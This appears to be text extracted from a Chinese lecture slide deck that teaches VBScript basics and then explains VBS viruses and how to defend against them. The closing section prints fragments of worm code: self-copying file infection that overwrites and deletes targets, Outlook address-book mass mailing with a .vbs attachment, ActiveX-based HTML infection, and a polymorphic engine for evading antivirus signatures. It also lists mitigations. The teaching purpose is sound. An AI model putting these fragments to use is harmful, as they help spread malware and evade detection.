第21讲VBSVBS病毒.ppt
第21讲 VBS&VBS病毒,答疑地点:12J810|12J806网络答疑:QQ:252175436 答疑时间:周三上午9:30-11:00,内容提纲,什么是 VBScript在 HTML页中添加 VBScript 代码 VBScript 数据类型VBScript 变量VBScript 常量VBScript 运算符使用条件语句编码循环VBScript 过程VBScript 编码惯例VBS病毒,2023/5/11,2,1.什么是VBScript,VBScript是Visual Basic Script的简称,即 Visual Basic 脚本语言,有时也被缩写为VBS。是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。补充:ADO(ActiveX Data Objects,ActiveX数据对象)是Microsoft提出的应用程序接口(API)用以实现访问关系或非关系数据库中的数据。例如,如果您希望编写应用程序从DB2或Oracle数据库中向网页提供数据,可以将ADO程序包括在作为活动服务器页(ASP)的HTML文件中。当用户从网站请求网页时,返回的网页也包括了数据中的相应数据,这些是由于使用了ADO代码的结果。,2023/5/11,3,1.什么是VBScript,VBScript主要的优点有:由于VBScript由网页浏览器解释执行,不需要增大服务器的负担。易学。在所有2000/98SE以后的Windows版本都可直接使用。可以使用其它程序和可使用的物件(尤其Microsoft Office)。缺点有:现在VBS无法作为电子邮件的附件了。Microsoft Outlook拒绝接受VBS为附件,收信人无法直接使用VBS附件。VBS的各种编辑程器不受欢迎。操作系统没有任何特别的保护设施。VBS程序与其它JS、EXE、BAT或CMD程序一样对待。操作系统没有监察恶意功能的能力。,2023/5/11,4,2.在 HTML页中添加 VBScript 代码,VBScript 代码写在成对的 标记之间 代码的开始和结束部分都有 标记。LANGUAGE 属性用于指定所使用的脚本语言。由于浏览器能够使用多种脚本语言,所以必须在此指定所使用的脚本语言。注意 CanDeliver 函数被嵌入在注释标记()中。这样能够避免不能识别 标记的浏览器将代码显示在页面中。,2023/5/11,5,2 End Function-,2.在 HTML页中添加 VBScript 代码,SCRIPT 块可以出现在 HTML 页面的任何地方(BODY 或 HEAD 部分之中)。然而最好将所有的一般目标脚本代码放在 HEAD 部分中,以使所有脚本代码集中放置。这样可以确保在 BODY 部分调用代码之前所有脚本代码都被读取并解码。,2023/5/11,6,订购 2 End Function-.,3.VBScript 数据类型,VBScript 只有一种数据类型,称为 Variant。Variant 是一种特殊的数据类型,根据使用的方式,它可以包含不同类别的信息。因为 Variant 是 VBScript 中唯一的数据类型,所以它也是 VBScript 中所有函数的返回值的数据类型。最简单的 Variant 可以包含数字或字符串信息。Variant 用于数字上下文中时作为数字处理,用于字符串上下文中时作为字符串处理。这就是说,如果使用看起来象是数字的数据,则 VBScript 会假定其为数字并以适用于数字的方式处理。与此类似,如果使用的数据只可能是字符串,则 VBScript 将按字符串处理。也可以将数字包含在引号()中使其成为字符串。,2023/5/11,7,3.VBScript 数据类型,Variant 子类型除简单数字或字符串以外,Variant 可以进一步区分数值信息的特定含义。例如使用数值信息表示日期或时间。此类数据在与其他日期或时间数据一起使用时,结果也总是表示为日期或时间。从 Boolean 值到浮点数,数值信息是多种多样的。Variant 包含的数值信息类型称为子类型。大多数情况下,可将所需的数据放进 Variant 中,而 Variant 也会按照最适用于其包含的数据的方式进行操作。,2023/5/11,8,3.VBScript 数据类型,下表显示 Variant 包含的数据子类型:,2023/5/11,9,4.VBScript 变量,变量是一种使用方便的占位符,用于引用计算机内存地址,该地址可以存储脚本运行时可更改的程序信息。例如,可以创建一个名为 ClickCount 的变量来存储用户单击 Web 页面上某个对象的次数。使用变量并不需要了解变量在计算机内存中的地址,只要通过变量名引用变量就可以查看或更改变量的值。在 VBScript 中只有一个基本数据类型,即 Variant,因此所有变量的数据类型都是 Variant。,2023/5/11,10,4.VBScript 变量,声明变量声明变量的一种方式是使用 Dim 语句、Public 语句和 Private 语句在脚本中显式声明变量。例如:Dim DegreesFahrenheit声明多个变量时,使用逗号分隔变量。例如:Dim Top,Bottom,Left,Right隐式声明变量另一种方式是通过直接在脚本中使用变量名这一简单方式隐式声明变量。这通常不是一个好习惯,因为这样有时会由于变量名被拼错而导致在运行脚本时出现意外的结果。,2023/5/11,11,4.VBScript 变量,命名规则变量命名必须遵循 VBScript 的标准命名规则。变量命名必须遵循:第一个字符必须是字母。不能包含嵌入的句点。长度不能超过 255 个字符。在被声明的作用域内必须唯一。,4.VBScript 变量,变量的作用域与存活期变量的作用域由声明它的位置决定。如果在过程中声明变量,则只有该过程中的代码可以访问或更改变量值,此时变量具有局部作用域并被称为过程级变量。如果在过程之外声明变量,则该变量可以被脚本中所有过程所识别,称为 Script 级变量,具有脚本级作用域。变量存在的时间称为存活期。Script 级变量的存活期从被声明的一刻起,直到脚本运行结束。对于过程级变量,其存活期仅是该过程运行的时间,该过程结束后,变量随之消失。在执行过程时,局部变量是理想的临时存储空间。可以在不同过程中使用同名的局部变量,这是因为每个局部变量只被声明它的过程识别。,4.VBScript 变量,给变量赋值创建如下形式的表达式给变量赋值:变量在表达式左边,要赋的值在表达式右边。例如:,Dim Myname,Myage,MyschoolMyname=“王小二”Myage=18Myschool=“广东教育学院”,4.VBScript 变量,数组变量多数情况下,只需为声明的变量赋一个值。只包含一个值的变量被称为标量变量。有时候,将多个相关值赋给一个变量更为方便,因此可以创建包含一系列值的变量,称为数组变量。数组变量和标量变量是以相同的方式声明的,唯一的区别是声明数组变量时变量名后面带有括号()。下例声明了一个包含 11 个元素的一维数组:Dim A(10)虽然括号中显示的数字是 10,但由于在 VBScript 中所有数组都是基于 0 的,所以这个数组实际上包含 11 个元素。在基于 0 的数组中,数组元素的数目总是括号中显示的数目加 1。这种数组被称为固定大小的数组。,4.VBScript 变量,在数组中使用索引为数组的每个元素赋值。从 0 到 10,将数据赋给数组的元素,如下所示:A(0)=256 A(1)=324 A(2)=100.A(10)=55 与此类似,使用索引可以检索到所需的数组元素的数据。例如:.SomeVariable=A(8).,4.VBScript 变量,动态数组也可以声明动态数组,即在运行脚本时大小发生变化的数组。对数组的最初声明使用 Dim 语句或 ReDim 语句。但是对于动态数组,括号中不包含任何数字。例如:Dim MyArray()ReDim AnotherArray()要使用动态数组,必须随后使用 ReDim 确定维数和每一维的大小。,4.VBScript 变量,在下例中,ReDim 将动态数组的初始大小设置为 25,而后面的 ReDim 语句将数组的大小重新调整为 30,同时使用 Preserve 关键字在重新调整大小时保留数组的内容。ReDim MyArray(25).ReDim Preserve MyArray(30)重新调整动态数组大小的次数是没有任何限制的,将数组的大小调小时,将会丢失被删除元素的数据。,5.VBScript 常数,常数是具有一定含义的名称,用于代替数字或字符串,其值从不改变。VBScript 定义了许多内部常数(由应用程序提供的常数。由于不能禁用内部常数,因此不能以相同的名称创建用户自定义常数。如Dim就不能定义为常数)。,5.VBScript 常数,创建常数您可以使用 Const 语句在 VBScript 中创建用户自定义常数。使用 Const 语句可以创建名称具有一定含义的字符串型或数值型常数,并给它们赋原义值。例如:Const MyString=这是一个字符串。“Const MyAge=49 请注意字符串文字包含在两个引号(“”)之间。这是区分字符串型常数和数值型常数的最明显的方法。日期文字和时间文字包含在两个井号(#)之间。例如:Const CutoffDate=#6-1-97#,6.VBScript 运算符,VBScript 有一套完整的运算符,包括算术运算符、比较运算符、连接运算符和逻辑运算符。运算符优先级当表达式包含多个运算符时,将按预定顺序计算每一部分,这个顺序被称为运算符优先级。可以使用括号越过这种优先级顺序,强制首先计算表达式的某些部分。运算时,总是先执行括号中的运算符,然后再执行括号外的运算符。但是,在括号中仍遵循标准运算符优先级。当表达式包含多种运算符时,首先计算算术运算符,然后计算比较运算符,最后计算逻辑运算符。所有比较运算符的优先级相同,即按照从左到右的顺序计算比较运算符。,6.VBScript 运算符,当乘号与除号同时出现在一个表达式中时,按从左到右的顺序计算乘、除运算符。同样当加与减同时出现在一个表达式中时,按从左到右的顺序计算加、减运算符。,6.VBScript 运算符,字符串连接(&)运算符不是算术运算符,但是在优先级顺序中,它排在所有算术运算符之后和所有比较运算符之前。Is 运算符是对象引用比较运算符。它并不比较对象或对象的值,而只是进行检查,判断两个对象引用是否引用同一个对象。,6.VBScript 运算符,连接运算符(&)强制两个表达式进行字符串连接。result=expression1&expression2参数Result:任意变量。expression1:任意表达式。Expression2:任意表达式。说明任一 expression 不是字符串时,它将被转换为 String 子类型。如果两个表达式都为 Null,result 也为 Null。然而,如果仅有一个 expression 为 Null,则它和其他表达式连接时,按零长度字符串()处理。任何表达式为 Empty 时也按零长度字符串处理。,6.VBScript 运算符,Is 运算符比较两个对象引用变量。result=object1 Is object2参数result:任意数值变量。object1:任意对象名。object2:任意对象名。说明如果 object1 和 object2 都引用同一个对象,则 result 为 True;否则 result 为 False。可以使用许多方法使两个变量引用同一个对象。,7.使用条件语句,条件语句 If.Then.Else 语句 Select Case 语句,7.使用条件语句,使用 If.Then.Else 进行判断If.Then.Else 语句用于计算条件是否为 True 或 False,并且根据计算结果指定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。条件为 True 时运行语句,If value=0 Then AlertLabel.ForeColor=vbRed AlertLabel.Font.Bold=True AlertLabel.Font.Italic=True End If,7.使用条件语句,条件为 True 和 False 时分别运行某些语句可以使用 If.Then.Else 语句定义两个可执行语句块:条件为 True 时运行某一语句块,条件为 False 时运行另一语句块。,If value=0 Then AlertLabel.ForeColor=vbRed AlertLabel.Font.Bold=True AlertLabel.Font.Italic=True Else AlertLabel.Forecolor=vbBlack AlertLabel.Font.Bold=False AlertLabel.Font.Italic=False End If,7.使用条件语句,对多个条件进行判断If.Then.Else 语句的一种变形允许您从多个条件中选择,即添加 ElseIf 子句以扩充 If.Then.Else 语句的功能,使您可以控制基于多种可能的程序流程,If value=0 Then MsgBox value ElseIf value=1 Then MsgBox value ElseIf value=2 then Msgbox value Else Msgbox 数值超出范围!End If,7.使用条件语句,使用 Select Case 进行判断Select Case 结构提供了 If.Then.ElseIf 结构的一个变通形式,可以从多个语句块中选择执行其中的一个。Select Case 语句提供的功能与 If.Then.Else 语句类似,但是可以使代码更加简练易读。使用多个 ElseIf 子句经常会变得很累赘。在多个条件中进行选择的更好方法是使用 Select Case 语句。Select Case 结构在其开始处使用一个只计算一次的简单测试表达式。表达式的结果将与结构中每个 Case 的值比较。如果匹配,则执行与该 Case 关联的语句块,7.使用条件语句,Select Case Document.Form1.CardType.Options(SelectedIndex).Text Case MasterCard DisplayMCLogo ValidateMCAccount Case Visa DisplayVisaLogo ValidateVisaAccount Case American Express DisplayAMEXCOLogo ValidateAMEXCOAccount Case Else DisplayUnknownImage PromptAgainEnd Select,7.使用条件语句,注意请注意 Select Case 结构只计算开始处的一个表达式(只计算一次),而 If.Then.ElseIf 结构计算每个 ElseIf 语句的表达式,这些表达式可以各不相同。仅当每个 ElseIf 语句计算的表达式都相同时,才可以使用 Select Case 结构代替 If.Then.ElseIf 结构。,8.使用循环语句,循环用于重复执行一组语句。循环可分为三类:一类在条件变为 False 之前重复执行语句,一类在条件变为 True 之前重复执行语句,另一类按照指定的次数重复执行语句。在 VBScript 中可使用下列循环语句:Do.Loop:当(或直到)条件为 True 时循环。While.Wend:当条件为 True 时循环。For.Next:指定循环次数,使用计数器重复运行语句。For Each.Next:对于集合中的每项或数组中的每个元素,重复执行一组语句。,8.使用循环语句,使用 Do 循环可以使用 Do.Loop 语句多次(次数不定)运行语句块。当条件为 True 时或条件变为 True 之前,重复执行语句块。,当条件为 True 时重复执行语句While 关键字用于检查 Do.Loop 语句中的条件。有两种方式检查条件:在进入循环之前检查条件(如下面的 ChkFirstWhile 示例);或者在循环至少运行完一次之后检查条件(如下面的 ChkLastWhile 示例)。在 ChkFirstWhile 过程中,如果 myNum 的初始值被设置为 9 而不是 20,则永远不会执行循环体中的语句。在 ChkLastWhile 过程中,循环体中的语句只会执行一次,因为条件在检查时已经为 False。,Sub ChkFirstWhile()Dim counter,myNum counter=0 myNum=20 Do While myNum 10 myNum=myNum-1 counter=counter+1 Loop MsgBox 循环重复了&counter&次。End Sub,Sub ChkLastWhile()Dim counter,myNum counter=0 myNum=9 Do myNum=myNum-1 counter=counter+1 Loop While myNum 10 MsgBox 循环重复了&counter&次。End Sub,11.VBS病毒,VBS病毒的特点VBS病毒常常用到的技术对文件操作如何发送电子邮件对html等文件的感染 自加密 如何防范,2023/5/11,37,VBS病毒的特点,(1)编写简单。由于它是明文的,一个对病毒毫无概念的人,都可以在非常短的时间内编写出一个vbs病毒(2)破坏力大。利用vbs几乎可以做任何操作系统可以做到事情。所以vbs病毒拥有非常大的能力。(3)感染力强。脚本是解释执行的。所以不必像感染PE文件一样有非常苛刻的要求。(4)传播范围广。因为VBS广泛应用于HTML等文件格式,通过感染html可以导致大量用户被感染。(5)病毒源码容易被获取,变种多。Vbs是明文的,非常容易读懂,这也就表明病毒编写者可以很方便地修改源代码,达到编写,加密的目的。,2023/5/11,38,对文件操作,VBS脚本病毒一般是直接通过自我复制来感染文件的,也可以把自己添加到其他文件(如html)里面执行。以下是文件感染的部分关键代码:,2023/5/11,39,Set fso=createobject(“scripting.filesystemobject”)创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1)读打开当前文件(即病毒本身)vbscopy=self.readall 读取病毒全部代码到字符串变量vbscopy set ap=fso.opentextfile(目标文件.path,2,true)写打开目标文件,准备写入病毒代码 ap.write vbscopy 将病毒代码覆盖目标文件 ap.close set cop=fso.getfile(目标文件.path)得到目标文件路径 cop.copy(目标文件.path&.vbs)创建另外一个病毒文件(以.vbs为后缀)目标文件.delete(true)删除目标文件,如何发送邮件,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址:,2023/5/11,40,Function mailBroadcast()on error resume next wscript.echo Set outlookApp=CreateObject(Outlook.Application)/创建一个OUTLOOK应用的对象 If outlookApp=Outlook Then Set mapiObj=outlookApp.GetNameSpace(MAPI)/获取MAPI的名字空间 Set addrList=mapiObj.AddressLists,/获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count 0 Then addrEntCount=addr.AddressEntries.Count/获取每个地址表的Email记录数 For addrEntIndex=1 To addrEntCount If addr.AddressEntries.Count 0 Then addrEntCount=addr.AddressEntries.Count/获取每个地址表的Email记录数 For addrEntIndex=1 To addrEntCount/遍历地址表的Email地址 Set item=outlookApp.CreateItem(0),如何发送电子邮件,2023/5/11,41,/获取一个邮件对象实例 Set addrEnt=addr.AddressEntries(addrEntIndex)/获取具体Email地址 item.To=addrEnt.Address/填入收信人地址 item.Subject=病毒传播实验/写入邮件标题 item.Body=这里是病毒邮件传播测试,收到此信请不要慌张!/写入文件内容 Set attachMents=item.Attachments/定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0)&test.jpg.vbs item.DeleteAfterSubmit=True,/信件提交后自动删除 If item.To Then item.Send/发送邮件 shellObj.regwrite HKCUsoftwareMailtestmailed,1/病毒标记,以免重复感染 End If NextEnd IfNext End if End Function,对html等文件的感染,如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户 机器感染病毒。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键,注册表中对它他的说 明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个 对象,调用它们的强大功能。代码如下所 示:Set Apple0bject=document.applets(“KJ_guest”)Apple0bject.setCLSID(“”)Apple0bject.createInstance()创建一个实例 Set WsShell Apple0bject.Get0bject()Apple0bject.setCLSID(“”)Apple0bject.createInstance()创建一个实例 Set FSO=Apple0bject.Get0bject(),2023/5/11,42,自加密,一个简单的vbs脚本变形引擎(来自flyshadow)Randomize Set Of=CreateObject(Scripting.FileSystemObject)创建文件系统对象 vC=Of.OpenTextFile(WScript.ScriptFullName,1).Readall 读取自身代码 fS=Array(Of,vC,fS,fSC)定义一个即将被替换字符的数组 For fSC=0 To 3 vC=Replace(vC,fS(fSC),Chr(Int(Rnd*22)+65)&Chr(Int(Rnd*22)+65)&Chr(Int(Rnd*22)+65),2023/5/11,43,&Chr(Int(Rnd*22)+65)取4个随机字符替换数组fS中的字符串 Next Of.OpenTextFile(WScript.ScriptFullName,2,1).Writeline vC 将替换后的代码写回文件 上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。,如何防范,1)禁用文件系统对象FileSystemObject 方法:用regsvr32 scrrun.dll/u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或 者改名。还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个0D43FE01-F093-11CF8940-00A0C9054228主键的项,删除即可。2)卸载Windows Scripting Host 在Windows 98中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程 序附件,取消“Windows Scripting Host”一项。和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个F935DC22-1CF0-11D0ADB9-00C04FD58A0B主键的项,删除。3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射 点击我的电脑查看文件夹选项文件类型,然后删除VBS、VBE、JS、JSE文 件后缀名与应用程序的映射,2023/5/11,44,如何防范,4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏 里“Internet 选项”安全选项卡里的自定义级别按钮。把“ActiveX控件及插件”的一切设为禁用,这样就 不怕了。如新欢乐时光的那个ActiveX组件 如果不能运行,病毒的网络传播功能就无法生效了 6)禁止OE的自动收发邮件功能 7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展 名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的 Java程序 或者某些ActiveX组件对计算机的侵害。,2023/5/11,45,小结,?,2023/5/11,46,